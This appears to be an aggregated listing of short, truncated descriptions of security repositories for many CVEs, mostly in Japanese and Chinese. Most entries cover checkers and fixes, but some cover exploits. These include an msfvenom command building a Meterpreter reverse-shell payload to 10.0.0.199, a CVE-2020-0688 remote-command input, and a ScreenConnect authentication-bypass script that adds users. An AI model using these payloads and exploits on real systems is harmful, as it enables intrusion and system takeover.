CVE-2020-8165--Auto-Shell

CVE-2020-8165--Auto-Script...

ingress-nightmare

IngressNightmare CVE-2025-1974 このPythonスクリプトは、Ingress NGINX Controllerを実行しているかどうか、また実行している場合に既知の脆弱性のあるバージョンを使用しているかどうかを確認するのに役立ちます。 使用方法 まず、uv をこちらからインストールし、その後Kubernetesクラスターに対してスクリプトを実行して監査します。 root@kitploit: uv run --with kubernetes,packaging check.py サンプル出力 脆弱なクラスター: root@kitploit: Checking f...

CVE-2024-6387-OpenSSH-Vulnerability-Checker

CVE-2024-6387-OpenSSH-Vulnerability-Checker このリポジトリには、Ubuntuシステム上のOpenSSHバージョンを確認し、既知のセキュリティ問題に対して脆弱かどうかを判断するBashスクリプトが含まれています。 特徴 システムにインストールされているOpenSSHのバージョンを確認します。 そのバージョンが既知のセキュリティ問題に対して脆弱かどうかを判断します。 バージョン番号に基づいて脆弱性ステータスを提供します。 使用方法 スクリプトを実行する方法は2つあります: 方法1: ダウンロードして実行 スクリプトをダウンロードします。...

cve-2019-19781

CVE-2019-19781 これは、他の研究者が先にコードを公開したため、アップロードされたものです。防御側がシステムにパッチを適用する十分な時間がある間、もう少し長く非公開にしておきたかったところです。 私たちは責任ある開示を支持していますが、今回は既に秘密が漏れてしまっていました。 エクスプロイト: CVE-2019-19781 Citrixmash CVE-2019-19781 エクスプロイト root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781 python citrixmash.py Citrixmash v0....

CVE-2023-20052

CVE-2023-20052 Exploit Functional, self-developed Proof-of-Concept PoC exploit for CVE-2023-20052 , a vulnerability in ClamAV versions = 1.0.0, = 0.105.1, and = 0.103.7 enabling arbitrary file read via XML Entity Expansion XXE during DMG file parsing. This repository provides an original,...

cve-2020-0688

cve-2020-0688 私はCVE-2020-0688をより迅速に実行するためにこのスクリプトを作成しました。脆弱性の確認を改善し、そのための手順を大幅に削減するのに役立ちます。 ファイルを実行する前に、以下の入力を変更してください。 url = "https://mail.something.com" input 1 command = "cmd /c echo OOOPS!!! c:/truongtn.txt" input2 aspsession = "1111a11c-11ad-1c11-1111-1111122f5977" input3\ 免責事項...

nmap_draytek_rce

nmapdraytekrce Draytek デバイス上の CVE-2020-8515 を検出するための nmap スクリプト...

moveit-payload-decrypt-CVE-2023-34362

moveit-payload-decrypt-CVE-2023-34362 このシェルスクリプトは、OrgKey 0 が与えられると、MOVEit ログ内で見つかった base64 アーティファクトのヘッダーを解析し、ペイロードとして使用されるシリアライズされたオブジェクトを復号します。...

CVE-2021-43798

ラボを起動する docker compose up -d Poc: python3 CVE-2021-43798.py IP PORT 作者: https://www.linkedin.com/in/steven-guimaraes-29aa79212/...

CVE-2021-34470scanner

CVE-2021-34470scanner CVE-2021-34470をスキャンするPowrshellスクリプト...

CVE-2021-36934

CVE-2021-36934 CVE-2021-36934 PowerShell 修正 この PowerShell スクリプトは、CVE-2021-36934 を修正します。Joran Slingerland 氏のオリジナルスクリプトに基づいています https://github.com/JoranSlingerland https://github.com/JoranSlingerland/CVE-2021-36934/blob/main/CVE-2021-36934.ps1 Powershell スクリプトは次の処理を行います: $env:windir\Logs\ の下に...

WinRE-Fix

WinRE-Fix Windows Recovery Environment WinRE を新しい Recovery パーティションに安全に移動・再作成する PowerShell スクリプト。 キーワード: WinRE Windows Recovery Recovery Partition reagentc KB5034441 KB5028997 CVE-2024-20666 BitLocker Windows Update Fix Partition Resize GPT UEFI 🎯 このスクリプトが解決する問題 このスクリプトは、WinRE パーティションに関連する一般的な...

CVE-2018-20250

セットアップ Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit 実行手順 Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: root@kitploit: gi...

CVE-2023-36884-Checker

CVE-2023-36884-Checker CVE-2023-36884 のハードニングを確認するスクリプト https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884 目的 このスクリプトは、Microsoft のハードニング推奨事項が正しく適用されているかどうかを確認します。 Microsoft は https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884 で次のように述べています: root@kitploit: Add th...

conflucheck

ConfluCHECK CVE-2021-26084 をネットワークリクエストで識別する Python 3 スクリプト。 必要条件 pip install -r requirements.txt 使用方法 まず最初に言っておきますが、私はプログラミングの専門家ではありません... 自分のコードは改善できると確信していますので、プルリクエストは受け付けます。 python3 conflucheck.py python3 conflucheck.py http://xxx.xxx.xxx.xxx:yyyy python3 conflucheck.py filewithlinks.txt...

CVE-2022-0441

CVE-2022-0441 CVE-2022-0441 のチェッカー 使用方法: python3 file.py ターゲットリストを変更してください。...

Detect-CVE-2024-0762

CVE-2024-0762 检测与恶意软件分析脚本 概述 本脚本旨在检测 UEFI 固件版本并评估其是否存在 CVE-2024-0762 相关漏洞。此外，它集成了 VirusTotal API，用于分析文件中的恶意软件，提供全面的安全洞察： 功能 UEFI 固件检测 ：从 Windows 和 Linux 系统中检索 UEFI 固件版本。 漏洞评估 ：检查检测到的固件版本是否存在 CVE-2024-0762 漏洞。 VirusTotal 集成 ：将文件提交至 VirusTotal 进行恶意软件分析，并获取详细报告。 要求 Python 3.x ：确保已安装 Python 3。 Reques...

CVE-2020-3187-Scanlist

CVE-2020-3187-Scanlist - Cisco 一括スキャンサイト。 免責事項： 本ツールの使用またはいかなる損害についても私は責任を負いません。違法な目的で使用しないでください。 本ツールは、複数のCiscoインスタンスでこの脆弱性のチェックを自動化するために、許可された資産をスキャンするように設計されています。 インストール： git clone https://github.com/sunyyer/CVE-2020-3187-Scanlist.git chmod +x CVE-2020-3187.py...

CVE-2023-28343

CVE-2023-28343 CVE-2023-28343 POCエクスプロイト 使用方法 root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP address fo...

CVE-2024-1709-ConnectWise-ScreenConnect-Authentication-Bypass

ConnectWise ScreenConnect: 身份验证绕过漏洞 简介 本项目旨在利用 ConnectWise ScreenConnect 中的身份验证绕过漏洞。它提供了一个脚本来演示该利用方法。在使用此脚本之前，请确保您拥有必要的权限。 使用方法 root@kitploit: python exploit.py 选项 选项： --username：要添加的用户名 必填。 --password：要添加的密码 必填。 --urls：包含 URL 列表的文件路径。 --url：仅在此 URL 上运行。 注意：--urls 或 --url 必须选择其一。 示例 root@kitploit...